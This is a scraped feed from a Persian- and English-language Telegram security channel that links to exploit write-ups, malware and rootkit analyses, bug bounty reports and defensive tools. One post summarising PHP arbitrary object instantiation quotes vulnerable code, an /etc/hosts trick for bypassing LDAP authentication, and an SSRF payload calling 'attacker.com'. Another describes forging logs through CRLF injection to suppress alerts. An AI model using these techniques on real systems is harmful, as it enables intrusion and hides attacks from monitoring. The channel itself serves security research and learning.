Security Analysis – Telegram

Security Analysis

11.5K subscribers

344 photos

50 videos

36 files

885 links

- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner

Download Telegram

About

Blog

Apps

Platform

Security Analysis

11.5K subscribers

Security Analysis

https://dazzyddos.github.io/posts/Remote-Process-Enumeration-with-WTS-Set-Of-APIs/

Remote Process Enumeration with WTS Set of Windows APIs

👍4👎1

2.15K viewsAdel, 06:25

Security Analysis

⭕️ اگه توی حوزه کشف و تحلیل آسیب پذیری های باینری فعالیت دارید پس باید درمورد semgrep هم بدونید که ابزار خیلی خوبیه :)
زبان های مختلفی رو پشتیبانی میکنه و رول های مختلفی برای آسیب پذیری هایی
مثل :‌
buffer overflows
integer overflows
format strings
command injection
race conditions
miscellaneous
و..
داره که میتونیم استفاده کنیم
این ابزار رو میتونیم بصورت افزونه روی ghidra یا vscode داشته باشیم و زمان Disassemble کردن طبق رول های مربوطه کد هارو بررسی میکنه.
نکته دیگه که میتونه مفید باشه میتونیم rule مورد نظر خودمون رو داشته باشیم و با ساختاری که خودمون ایجاد کردیم شروع به بررسی بکنه.
https://github.com/0xdea/semgrep-rules

و این لینک هم روشی برای کشف اسیب پذیری بصورت خودکار با ترکیب ghidra و این ابزار

https://security.humanativaspa.it/automating-binary-vulnerability-discovery-with-ghidra-and-semgrep/
#0day #vulnerability #ghidra #reverse
@securation

GitHub - 0xdea/semgrep-rules: A collection of my Semgrep rules to facilitate vulnerability research.

A collection of my Semgrep rules to facilitate vulnerability research. - 0xdea/semgrep-rules

👍12🎉2👎1

2.65K viewsAdel, 17:53

Security Analysis

https://www.youtube.com/watch?v=gfZRaftYKrk

php 8.1 remote code execution

In this video we are going to solve one of the vulnmachines lab zero is cool.
PHP verion 8.1.0 backdoor was released with a backdoor on March 28th 2021, but the #backdoor was quickly discovered and removed. If this version of #php runs on a server, an #attackers…

👍6👎1

2.09K viewsAdel, 09:42

Security Analysis

https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/

Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild

Syslogk Rootkit Revealed: Analysis

👎1

2.19K viewsAdel, 09:36

Security Analysis

Defeating Javascript Obfuscation

https://www.perimeterx.com/tech-blog/2022/defeating-javascript-obfuscation/

Blog | HUMAN Security

Check out the latest HUMAN Blogs for expert insights and industry expertise on digital threats.

👍1👎1

2.36K viewsAdel, 09:50

Security Analysis

https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/

North Korean threat actor targets small and midsize businesses with H0lyGh0st ransomware

A group of actors originating from North Korea that MSTIC tracks as DEV-0530 has been developing and using ransomware in attacks since June 2021. This group, which calls itself H0lyGh0st, utilizes a ransomware payload with the same name.

👎1

2.33K viewsAdel, 21:30

Security Analysis

Chrome zero-day exploit used to target journalists in the Middle East. Israel 🇮🇱

https://www.androidpolice.com/chrome-zero-day-exploit-middle-east-journalists/

Chrome zero-day exploit used to target journalists in the Middle East

Google patched this security hole, but it's still an active risk

👍6👎1

2.47K viewsAdel, 04:29

Security Analysis

https://hencohen10.medium.com/microsoft-dynamics-container-sandbox-rce-via-unauthenticated-docker-remote-api-20-000-bounty-7f726340a93b

Microsoft Dynamics Container Sandbox RCE via Unauthenticated Docker Remote API 20,000$ Bounty

On 17.11.2021 I reported a critical security issue in Microsoft Dynamics Container Sandbox, that allows Microsoft Customers to setup a…

👍2👎1

2.5K viewsAdel, 05:50

Security Analysis

⭕️ Exploiting Arbitrary Object Instantiations in PHP without Custom Classes

PHP’s Arbitrary Object Instantiation:
این مورد یک آسیب پذیری هست که به حمله کننده اجازه ساختن object های دلخواهش رو در PHP میده.
کد آسیب پذیر در مقاله به طور خلاصه به صورت زیر هست

new $_GET['a']($_GET['b']);

حمله کننده اپلیکیشن آسیب پذیر رو در یک پروسه تست نفوذ داخلی پیدا میکنه. ابتدا در یک پروسه تست نفوذ داخلی یک سرویس LDAP پیدا میکنه که دسترسی بهش از طریق anonymous user امکان پذیر نبوده. بعدش با ست کردن کانفیگ زیر در فایل etc/hosts/ اش قادر به دور زدن پروسه احرازهویت میشه به دلیل اینکه سرویس LDAP با چک کردن TLS SNI احراز هویت رو انجام میداده

10.0.0.1 company.com

سپس حمله کننده اپلیکیشن PHP ای پیدا میکنه که از LAM یا LDAP Account Manager استفاده میکرده و سپس اقدام به خوندن سورس کد میکنه.
تعدادی از فایل های اپلیکیشن امکان دسترسی برای کاربران بدون احراز هویت رو داشتن که در یکی از این فایل ها ، محقق متوجه میشه که ۲ پارامتر به نام های module و HelpNumber از کاربر گرفته میشن که در نهایت به صورت زیر instantiate میشن

new $_GET['module']($_GET['HelpNumber']);

و اقدام به اکسپلویت کردن این آسیب پذیری به روش های مختلف میکنه:‌
1. Exploiting SSRF + Phar deserialization
2. Exploiting through PDOs
3. Exploiting through the Imagick Extension
برای مثال در اکسپلویت SSRF + Phar deserialization محقق به ترکیب زیر میرسه

new SplFileObject('http://attacker.com/');

از طریق کلاس SplFileObject امکان برقراری ارتباط به هر هاست لوکال یا ریموت وجود داره. که این امکان SSRF رو به ما میده و ذکر میکنه که در PHP ورژن های 8 به پایین امکان تبدیل کردن این SSRF به deserializations از طریق Phar protocol وجود داره.
لینک کامل این مقاله:
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
#PHP #Web
@securation

GitHub - LDAPAccountManager/lam: LDAP Account Manager

LDAP Account Manager. Contribute to LDAPAccountManager/lam development by creating an account on GitHub.

👍10👎2

4.02K views12:35

Security Analysis

⭕️ (ImHex) A Hex Editor for Reverse Engineers

https://github.com/WerWolv/ImHex

#hex #reverse #binary
@securation

🔥9👎1

2.24K viewsedited 16:32

Security Analysis

Powershell script that can be used by Blue Teams, Incident Responders and System Administrators to hunt persistences implanted in Windows machines

https://github.com/last-byte/PersistenceSniper/

#blueteam #redteam
@securation

GitHub - last-byte/PersistenceSniper: Powershell module that can be used by Blue Teams, Incident Responders and System Administrators…

Powershell module that can be used by Blue Teams, Incident Responders and System Administrators to hunt persistences implanted in Windows machines. Official Twitter/X account @PersistSniper. Made w...

👍6👎1

2.31K viewsedited 08:23

Security Analysis

⭕️Fully dockerized Linux kernel debugging environment

Building the kernel
Creating a root file system to use with the earlier build kernel
A debuggee container that launches QEMU with our custom kernel + rootfs
A debug container that houses the debugging logic

https://github.com/0xricksanchez/like-dbg
#linux #binary #qemu #debugging
@securation

GitHub - 0xricksanchez/like-dbg: Fully dockerized Linux kernel debugging environment

Fully dockerized Linux kernel debugging environment - 0xricksanchez/like-dbg

👍8👎1

2.71K viewsedited 11:34

Security Analysis

⭕️ Log forging through CRLF Injection
مقاله زیر به موضوع جعل کردن لاگ می پردازه.
جعل کردن لاگ در سیستم مانیتورینگ یک سرویس مانند احراز هویت، میتونه جلوگیری کنه از Issue شدن Alert هایی که مربوط به تلاش برای احراز هویت ناموفق هستند.
جعل کردن لاگ در این مقاله از طریق آسیب پذیری crlf injection اتفاق میفته
https://www.srccodes.com/log-forging-by-crlf-log-injection-owasp-security-vulnerability-attacks-crlf/
#CRLF #injection
#log
@securation

Log Forging by CRLF Log Injection

Live feed forging formed the base of the Professor's "Paris Plan" to rescue Lisbon from police custody in Money Heist (Season 4). A smart attacker always makes or covers up his tracks by forging something. Cyber-attacks inflict loss of reputation and wealth…

👍11👎1

3.29K viewsedited 14:12

Security Analysis

https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html

The quantum state of Linux kernel garbage collection CVE-2021-0920 (Part I)

A deep dive into an in-the-wild Android exploit Guest Post by Xingyu Jin, Android Security Research This is part one of a two-part guest...

👍4👎1

2.35K views19:15

Security Analysis

https://blog.electrovolt.io/posts/discord-rce/

blog.electrovolt.io

Discord Desktop - Remote Code Execution

– by s1r1us, the bug reported on: July 10th 2021
Prologue How Electrovolt Started? During our prototype pollution research, BlackFan reported an XSS to an BBP. The XSS report wasn’t getting much attention and was still in triaged state from two months with…

🎉7👎1

2.49K views06:17

Security Analysis

https://blog.electrovolt.io/posts/vscode-rce/

blog.electrovolt.io

Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)

– by TheGrandPew and s1r1us
We all know, VSCode is one of the most used Electron App. As a part of our research on hacking electron apps, we thought it would be cool to pwn VSCode and we were able to pwn it. We were able to achieve RCE on VSCode without getting…

👍6👎2

2.67K views17:11

Security Analysis

⭕️ یک محقق امنیت بلژیکی، در جریان برگزاری کنفرانس بلک هت، استارلینک را با هزینه ۲۵ دلار هک کرده :)

https://blackhat.com/us-22/briefings/schedule/index.html#glitched-on-earth-by-humans-a-black-box-security-evaluation-of-the-spacex-starlink-user-terminal-26982

@securation

Black Hat USA 2022

😁30👍9🔥6👎1

3.43K viewsedited 18:08

Security Analysis

Carino [WetMusic.blogfa.com]

کمی آرامش ..

❤12👎2

2.59K viewsedited 20:52

Security Analysis

⭕️ Exploiting Node.js deserialization bug for Remote Code Execution

در این مقاله، نویسنده به اکسپلویت کردن آسیب پذیری deserialization توی Node.js می پردازه.
و از تکنیک IIFE در جاوا اسکریپت برای call کردن property مرتبط با code execution استفاده میکنه. که البته اینکه از این تکنیک کجای پیلود استفاده کنه به یه چالشی بر میخوره که توی مقاله میتونید بخونیدش.
که در نهایت تبدیل به RCE میشه.

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
#nodejs #RCE #deserialization
@securation

Exploiting Node.js deserialization bug for Remote Code Execution

tl;dr Untrusted data passed into unserialize() function in node-serialize module can be exploited to achieve arbitrary code execution by passing a serialized JavaScript Object with an Immediately invoked function expression (IIFE). The Bug During a Node.

👍6👎1

3.48K views06:48

Security Analysis

⭕️Mass #Exploitation of (Un)authenticated #Zimbra RCE: #CVE-2022-27925

https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
#zimbra
@securation

👍1👎1

2.2K views09:13

Security Analysis

Critical Local File Read in Electron Desktop App

https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app
#BugBounty #Pentest #AppSec
@securation

Critical Local File Read in Electron Desktop App - CrowdStream - Bugcrowd

Bugcrowd's bug bounty and vulnerability disclosure platform connects the global security researcher community with your business. Crowdsourced security testing, a better approach! Run your bug bounty programs with us.

👍6👎1

1.98K views06:59